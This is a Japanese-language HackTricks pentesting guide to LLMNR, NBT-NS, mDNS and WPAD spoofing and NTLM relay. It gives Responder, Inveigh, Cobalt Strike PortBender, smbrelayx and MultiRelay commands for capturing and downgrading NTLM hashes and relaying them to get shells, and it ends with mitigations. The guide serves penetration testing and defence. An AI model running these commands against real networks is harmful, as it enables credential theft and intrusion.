hacktricks/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

22 KiB
Raw Blame History

LLMNR、NBT-NS、mDNS/DNSおよびWPADのスプーフィングとリレーアタック

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

  • HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
  • 公式PEASSHackTricksスウェグを入手する
  • The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
  • 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter@hacktricks_liveをフォローする
  • HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する

ネットワークプロトコル

LLMNR、NBT-NS、およびmDNS

Microsoftシステムは、DNS検索が失敗した場合にローカルホストの解決にLink-Local Multicast Name ResolutionLLMNRおよびNetBIOS Name ServiceNBT-NSを使用します。Apple BonjourおよびLinuxゼロ構成実装は、ネットワーク内のシステムを発見するためにマルチキャストDNSmDNSを使用します。これらのプロトコルは認証されず、UDP経由でブロードキャストメッセージを送信するため、攻撃者はこれらを悪用してユーザーを悪意のあるサービスに誘導することができます。

Responderを使用して、ホストが検索するサービスを偽の応答を送信することで偽装することができます。
Responderを使用したサービスの偽装に関する詳細情報はこちらを参照してください。

WPAD

多くのブラウザは、Web Proxy Auto-DiscoveryWPADを使用してネットワークからプロキシ設定を読み込みます。WPADサーバーは、次のいずれかを通じて特定のURLたとえば、http://wpad.example.org/wpad.dat)を介してクライアントプロキシ設定を提供します。

  • DHCP、コード252エントリを使用34
  • ローカルドメインで_wpad_ホスト名を検索するDNS
  • Microsoft LLMNRおよびNBT-NSDNS検索が失敗した場合

ResponderはWPAD攻撃を自動化し、プロキシを実行し、DHCP、DNS、LLMNR、およびNBT-NSを介してクライアントを悪意のあるWPADサーバーに誘導します。

プロトコルの毒入れ

Responder - LLMNR、NBT-NS、およびMDNS

ResponderはLLMNR、NBT-NS、およびMDNSの毒入れツールです。名前接尾辞に基づいて特定のNBT-NSNetBIOS Name Serviceクエリに応答します参照http://support.microsoft.com/kb/163409。デフォルトでは、このツールはSMB用のファイルサーバーサービスリクエストにのみ応答します。

この背後にあるコンセプトは、私たちの回答をターゲットにすることであり、ネットワーク上でステルス性を持たせることです。これにより、合法的なNBT-NSの動作を壊さないようにするのにも役立ちます。

  • Responderはkaliにデフォルトでインストールされており、構成ファイルは**/etc/responder/Responder.conf **にあります(ここでローグサーバーを無効にできます)
  • Responder画面にハッシュを表示し、ホストごとに/usr/share/responder/logsディレクトリにあるログファイルに書き込みます。ハッシュは(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt形式で保存されます
  • Windows用のResponderはこちらで見つけることができます
  • Responderはipv4およびipv6で動作します

Responderパラメータ

Responderは以下のオプションをサポートしています:

--version           show program's version number and exit
-h, --help          show this help message and exit
-A, --analyze       Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic         Return a Basic HTTP authentication. Default: NTLM
-r, --wredir        Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --DHCP          Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS      This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad          Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth     Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm                Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess       Force ESS downgrade. Default: False
-v, --verbose       Increase verbosity.
Responder パラメータ
  • -A フラグは解析モードに入り、環境内の NBT-NS、BROWSER、および LLMNR リクエストを毒化せずに表示できます。
  • 必ずインターフェースまたは IP を指定する必要があります。
  • -wf は WPAD ローグプロキシサーバーを起動します。
  • -f はリモートホストのオペレーティングシステムとバージョンを特定しようとします。
  • 追加のデータがコンソールに表示されるため、-v フラグを使用して冗長性を増やします。
  • -F-P などのオプションを使用して NTLM または Basic 認証を強制したり、プロキシ認証を強制したりすることができますが、ログインプロンプトが表示される可能性があるため、慎重に使用する必要があります。
  • -w フラグは組み込みの WPAD プロキシサーバーを利用します。これは特に大規模な組織では非常に効果的であり、Internet Explorer を起動するユーザーが Auto-detect settings を有効にしている場合、すべてのユーザーの HTTP リクエストをキャプチャします。

Responder の実行

Responder のデフォルト動作を実行するには、次のコマンドを実行するだけです。

responder -I <Iface> #Default conf
responder -I <Iface> -P -r -v #More chances but might break things

日本語訳: 興味深いテクニックは、可能な限りResponderを使用してNTLM認証をダウングレードすることです。これにより、NTLMv2ではなく 簡単にクラックできるNTLMv1のチャレンジとレスポンスをキャプチャできますこのガイドに従って

#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade

デフォルトでは、WPADの偽装は実行されませんが、次のように実行できます:

responder -I <Iface> --wpad

あなたのIPでNetBIOSリクエストを解決することもできます。そして、認証プロキシを作成します

responder.py -I <interface> -Pv

NTLMハッシュを傍受することはできません通常、しかし、例えば--format=netntlmv2オプションを使用してNTLMチャレンジとレスポンスを簡単に取得し、クラックすることができます。

デフォルトの_Responder_インストールのログとチャレンジは、kaliの/usr/share/responder/logsにあります。

Responder - DHCPポイズニング

WindowsはNetBIOS、WINS、WPAD設定などのカスタムDHCPオプションを複数使用します。ワークステーションがネットワーク設定を取得するためにDHCPリクエストを送信するとき、これらの追加設定はDHCP応答に含まれ、簡単な接続と名前解決を容易にします。

DHCP応答をスプーフィングしても、ワークステーションのネットワーク構成に干渉するため、中断なしで行うことは難しい場合があります。通常、ターゲットサブネットワークのDNSサーバー、スイッチ、ルーティングテーブル、ドメイン、ネットマスク、DHCPサーバーなどについて非常に良い知識が必要です。これらの設定に誤りがあると、ネットワークに中断が発生します。

ただし、DHCP応答をスプーフィングすることには独自の利点があります。ARPポイズニングよりも確実にステルスです。ユニキャスト応答1つで被害者のルーティング情報を永久にポイズンすることができ、ネットワーク上で複数のDHCPサーバーが動作していることも一般的です。ユニキャストDHCP応答は検出がより複雑です。一部のスイッチはDHCPスヌーピングを防ぐためのセキュリティ設定を提供しますが、これらの設定は直感的ではなく、有効になっているときにしばしば誤って構成されています。

この攻撃は非常に効果的で、確実にNTLMv1/2ハッシュを取得できます。

./Responder.py -I eth0 -Pdv

Responder - 資格情報のキャプチャ

Responderは、言及されたプロトコルを使用してすべてのサービスを偽装します。これらのプロトコルを使用して解決されたサービスにアクセスしようとするユーザーがいると、彼はResponderに対して認証を試み、ResponderはおそらくNTLMv2チャレンジ/レスポンスを"キャプチャ"できます。

NetNTLMv1にダウングレードしたり、ESSを無効にしたりすることも可能です。

Inveigh - C#/PowerShell Responder

Inveighは、Windowsシステムに制限されているペネトレーションテスター/レッドチーマーを支援するために設計されたPowerShell ADIDNS/LLMNR/NBNS/mDNS/DNSスプーファーおよび中間者ツールです。

Inveighは、PowerShellスクリプトでしたが、現在は同じ主要機能を持つC#バイナリです。パラメータをリストアップし、使用方法の指示を示す[wiki]があります。
別のバージョンはInveighZeroで見つけることができます。

または、さらに多くのオプションを使用して実行します:

Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

または、C#バージョンを実行します:

Inveigh.exe

NTLM Relay Attack

この攻撃は、内部ネットワーク上のターゲットマシンSMB認証セッションを中継します。認証セッションが成功すると、自動的にシステムシェルに移行します。中継される認証は、中継されるホストにローカル管理者アクセス権を持つユーザーからである必要があり、かつSMB署名が無効になっている必要があります。

445の転送とトンネリング

{% hint style="warning" %} もしネットワーク内にマシンを導入できる場合、以下のセクションのツールのいずれかを使用して中継攻撃を実行することができ、これについて心配する必要はありません。 {% endhint %}

ただし、レッドチームでは、Windowsマシンのポート445のトラフィックを自分のマシンに転送する必要がある場合があります。その際は、以下のツールを実行して、そのツールのトラフィックをプロキシを介して中継して内部の攻撃対象マシンに到達させる必要があります。

ツールPortBenderは、ポート445に向かうトラフィックを別のポートたとえば8445リダイレクトするドライバです。ドライバをロードするにはローカル管理者アクセス権が必要です。ほとんどのWindowsドライバが配置される場所であるcd C:\Windows\System32\driversを使用するのが適切です。

Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Go to drivers dir
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server

# To kill
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Metasploit

setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
set SRVHOST <local_ip>
set SRVPORT 445
set SMBHOST <ip_to_auth_to>
run -j

smbrelayx

python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
# By default it will just dump hashes
# To execute a command use: -c "ipconfig"
# To execute a backdoor use: -e "/path/to/backdoor

# Attack through socks proxy
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server

MultiRelay

MultiRelayを使用したい場合は、_/usr/share/responder/tools_に移動し、MultiRelay (-t <IP target> -u <User>)を実行します:

python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
# By default a shell is returned
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes

# Use proxychains if you need to route the traffic to reach the attacked ip

NTLMログインの強制

Windowsでは、特権のあるアカウントを任意のマシンに認証させることができる場合があります。詳細については、以下のページを参照してください:

{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

解決策

LLMNRの無効化

DNSクライアントのLLMNRを無効にするには、gpedit.mscを開きます。
コンピューター構成->管理用テンプレート->ネットワーク->DNSクライアントに移動します。
オプション「マルチキャスト名解決を無効にする」を見つけ、「ポリシー設定」をクリックします:

新しいウィンドウが開いたら、このオプションを有効にし、適用を押してOKをクリックします

NBT-NSの無効化

NBT-NSを無効にするオプションの1つは、DHCPスコープオプションを使用することです。

MicrosoftのDHCPサーバーを使用している場合は、NBT-NSを無効にしたいスコープを選択します。 「スコープオプション」を右クリックし、「オプションの構成」をクリックします。以下の例では、NBT-NSを無効にしたいDHCPスコープは192.168.1.100です。

スコープオプションウィンドウで、詳細タブに移動し、ドロップダウンメニューを「Microsoft Windows 2000 Options」に変更します

リストから「001 Microsoft Disable Netbios Option」を選択し、その値を「0x2」に変更し、適用してからOKをクリックします

WPAD

WPAD攻撃に対抗するために、DNSゾーンに「wpad」のエントリを追加できます。 DNSエントリは有効なWPADサーバーを指す必要はありません。クエリが解決されている限り、攻撃は防止されます。

マルチリレー

1. すべてのローカルWindowsマシンでSMB署名を強制する。この設定により、すべてのSMBセッションにデジタル署名が付けられ、クライアントとサーバーはパケットの送信元を確認してから継続する必要があります。この設定はデフォルトでドメインコントローラーにのみ有効です。Microsoftの以下の記事では、これらの設定グループポリシーを介して有効にできるとその実装方法について詳しく説明しています。

https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always

2. ローカルネットワーク上のユーザーが必要なマシンにのみリモートログインできるように確認する。例SallyはSallyのワークステーションにのみログインできます。 SallyのSMB認証セッションを攻撃者が傍受した場合、このセッションを他のワークステーションに中継することはできず、この方法は無効になります。

3. ローカルネットワーク上でNTLM認証を可能な限り制限する。この攻撃はKerberos認証を利用できないため、発生しているNTLMの量を制限することで、この攻撃を大幅に阻止できます。Microsoftにはこれを実現する情報がありますが、注意してください。Kerberos認証が何らかの理由で失敗すると、通常はNTLMにフォールバックします。完全に無効にすると、ネットワークが停止する可能性があります。

4. ネットワーク上の不正なユーザーを防止する。インサイダーの脅威はおそらくSMBリレー攻撃を利用しないでしょう。ネットワークの物理的セキュリティポリシーを強化し、ACLとMACフィルタリングでネットワーク上の不正なデバイスを防止し、適切なネットワークセグメンテーションを確保することで、この攻撃が行われる可能性を大幅に制限できます。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法